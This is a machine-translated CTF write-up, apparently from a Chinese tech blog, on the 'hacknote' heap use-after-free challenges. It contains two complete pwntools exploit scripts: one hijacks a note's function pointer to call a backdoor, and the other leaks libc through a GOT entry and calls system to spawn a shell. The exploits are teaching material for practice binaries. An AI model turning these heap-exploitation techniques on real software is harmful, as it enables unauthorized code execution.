当前位置:网站首页>Restart the heap_ uaf_ hacknote
Restart the heap_ uaf_ hacknote
2020-11-09 14:34:00 【Yijing Technology】
Reference link
http://blog.eonew.cn/archives/490
https://blog.csdn.net/weixin_44864859/article/details/107181869
Here's a classic with a back door UAF Vulnerability programs .
//hacknote The simplest pile topic libc 2.23
as well as With a back door UAF Vulnerability programs //hacknote Look at the first one with a back door UAF Vulnerability programs :
View file properties and open protection
32 position elf Program , There is no de sign .// The source code will be more fragrant .
It's only on NX Protect .
$ file hacknote_backdoor
hacknote_backdoor: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44ee75c492628b3691cdcdb07759e9bbe551644a, not stripped
$ checksec hacknote_backdoor
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida The code analysis :
add_note:
among print_note_content Function is :
del_note:
print_note:
In addition, the program contains back door :
Ideas :
establish 2 individual 0x18 uppercase chunk here :
And then delete The subscript of the structure is 0 and 1
Then we apply for individual A structure of the same size as a fixed size can be used .
To the new application content_addr in write in Backdoor function address .
Finally, just print The structure can Get shell.
complete exp:
#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./hacknote_backdoor")
#p=remote("node3.buuoj.cn",29525)
elf=ELF("./hacknote_backdoor")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def add(size,content):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",content)
def delete(index):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :",str(index))
def show(index):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :",str(index))
'''
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "text_base : "+hex(text_base)
print "jiegoutishuzu : "+hex(text_base+0x202040)
'''
magic=0x08048945
notelist=0x0804A048
add(0x18,"\x11"*8) #1 #2
add(0x18,"\x22"*8) #3 #4
#gdb.attach(p)
delete(0)
delete(1)
#gdb.attach(p)
pd=p32(magic)
add(0x8,pd)
#gdb.attach(p)
show(0)
p.interactive()
There is no back door hacknote
What if the back door is removed ? It also removes the symbol . besides , The program is almost the same .
$ file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
$ checksec hacknote
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Here is the first This program's Write down the data structure .
typedef struct note //0x10
{
void (* puts)(note *);
char *note_content;
}note;
note *ptr[5];
Ideas :
Because there's no back door , So the first thing is Go to leak libc.
The question is add Function ,maloc One size=0x10 Of chunk As note Structure , And then apply for an arbitrary size ( We can control it ) Of chunk As note_content The pointer to .
therefore We can apply for one unsigned The size of chunk, And then give it to delete fall , Can then leak libc_base,
Mm-hmm , It's not , Because of this question In print note_content When , Would call In this structure void (* puts)(note *) function . And before we give it to delete It will be empty when it's time . Lead to Unable to proceed Print . So what are we going to do .
Here I was thinking about , We continue to operate as if there were back doors on it , Apply for two first size It's not equal to 0x10 Of chunk, And then separately delete, Then apply for One size=0x10 Of chunk, And in the new malloc Of chunk in write in void (* puts)(note ) as well as __libc_start_main Of got Address . But such Let's go on At best, it can only be malloc Two structures . So you can't do it towards One of them In the structure void ( puts)(note *); Change to system 了 .// Here's an attempt og No one can succeed .
So here's another way to do it .
The idea just mentioned , First apply for two size It's not equal to 0x10 Of chunk, Then delete it separately , Then apply for , No doubt, all of a sudden take fastbin Upper free chunk It's used up . And because This question limits At most we can malloc 5 Time .
therefore We can start with Apply for one unsigned The size of chunk, And one. size=0x10 The size of chunk, And then they're done separately delete( Special attention should be paid here , First delete unsigned Of chunk, after delete 0x10 Of chunk, as a result of We can repeat to 0x10 The structure of the body There are two chunk Make use of .)
The last thing we need to pay attention to is stay getshell In the process of , We construct pd2=p32(system_addr)+";sh", instead of
pd2=p32(system_addr)+p32(binsh), as a result of print Function The parameter passed is *note_content .
complete exp :
#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./hacknote")
#p=remote("node3.buuoj.cn",29525)
elf=ELF("./hacknote")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def add(size,content):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",content)
def delete(index):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :",str(index))
def show(index):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :",str(index))
'''
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "text_base : "+hex(text_base)
print "jiegoutishuzu : "+hex(text_base+0x202040)
'''
notelist=0x0804A050
print "step1: leak libc "+"************************************************"
add(0x68,"\x11"*8) #0 #1
add(0x8,"\x22"*8) #2 #3
#gdb.attach(p)
delete(1)
delete(0)
#gdb.attach(p)
puts_func=0x0804862B
__libc_start_main=elf.got['__libc_start_main']
pd=p32(puts_func)+p32(__libc_start_main)
add(0x8,pd)
show(1)
libc_base=u32(p.recv(4))-libc.symbols['__libc_start_main']
print "libc_base is : "+hex(libc_base)
#binsh = libc.search("/bin/sh").next()+libc_base
#print "binsh is "+ hex(binsh)
system_addr=libc_base+libc.symbols['system']
print "system_addr is "+hex(system_addr)
print "step2: get shell "+"*************************************************"
delete(2)
#gdb.attach(p)
pd2=p32(system_addr)+";sh"#p32(binsh)
add(0x8,pd2)
#gdb.attach(p)
show(1)
p.interactive()
Related experiments :ARM Vulnerability exploitation technology 5 -- Heap overflow
In the case of heaps , When the user is able to write more data than expected , Memory corruption can occur . Through this experiment to understand the heap overflow , Include intra-chunk and inter-chunk Two types of , Grasp its characteristics separately .
版权声明
本文为[Yijing Technology]所创,转载请带上原文链接,感谢
边栏推荐
- What can DNS do besides resolving domain names?
- Is multithreading really faster than single threading?
- Lazy to write a document, swagger document does not smell
- 瞧瞧,这样的『函数』才叫 Pythonic
- Rainbow sorting | Dutch flag problem
- Interface tests how to pass files in post requests
- Tutorial system unity online course double 11 preferential registration is in progress
- To me, multithreading transaction must be a pseudo proposition!
- c语言小白学习历程第六篇
- 跟我一起学.NetCore之EF Core 实战入门,一看就会
猜你喜欢
Idea rest client, yes, I haven't opened postman yet
Notes for csp-j / s 2020
The technology masters who ride the wind and waves gather again | Tencent cloud TVP continues to sail
Spark Learning (2) -- job scheduling and shuffle analysis
Decrypting the future database design: implementation of mongodb's new storage engine wiredtiger (transaction)
Four steps of Android integrated payment
To me, multithreading transaction must be a pseudo proposition!
A quick start to Shell Scripting
spark学习(三)--内存管理和性能调优
华为云GaussDB:从颠覆自我到颠覆行业,重构数据库市场新格局
随机推荐
Python loading voice class custom dataset
7-10x write performance improvement: analysis of wiredtiger data page lock free and compression black Technology
Clock service Android implementation of alarm clock
arthas无网络环境下离线安装方法
Rainbow sorting | Dutch flag problem
Lazy to write a document, swagger document does not smell
程序员过高工资导致加班?应该降低程序员工资?网友:放过其他苦逼的程序员吧
【亲测有效】Github无法访问或者访问速度的解决方案
CCF BDCI hot topic: privacy information recognition in unstructured business text information
Interface tests how to pass files in post requests
移动安全加固助力 App 实现全面、有效的安全防护
彩虹排序 | 荷兰旗问题
Do programmers pay too much to work overtime? Should programmer's salary be reduced? Netizen: let go of other hard pressed programmers
Offline installation method of Arthas without network environment
Online course of tutorial system processing is in progress
It's amazing! Ali senior architect 20 years of experience, collate and share servicemesh actual combat documents, pay rise is bad for this article!
ImmutableMap的put方法问题
JS method of judging object type_ How to use typeof_ How to use instanceof_ How to use constructor_ Object.prototype.toString How to use ()
JS判断对象类型方法_typeof怎么用_instanceof怎么用_constructor怎么用_Object.prototype.toString()怎么用
国际顶刊Radiology发表华为云最新联合成果,AI辅助检测脑动脉瘤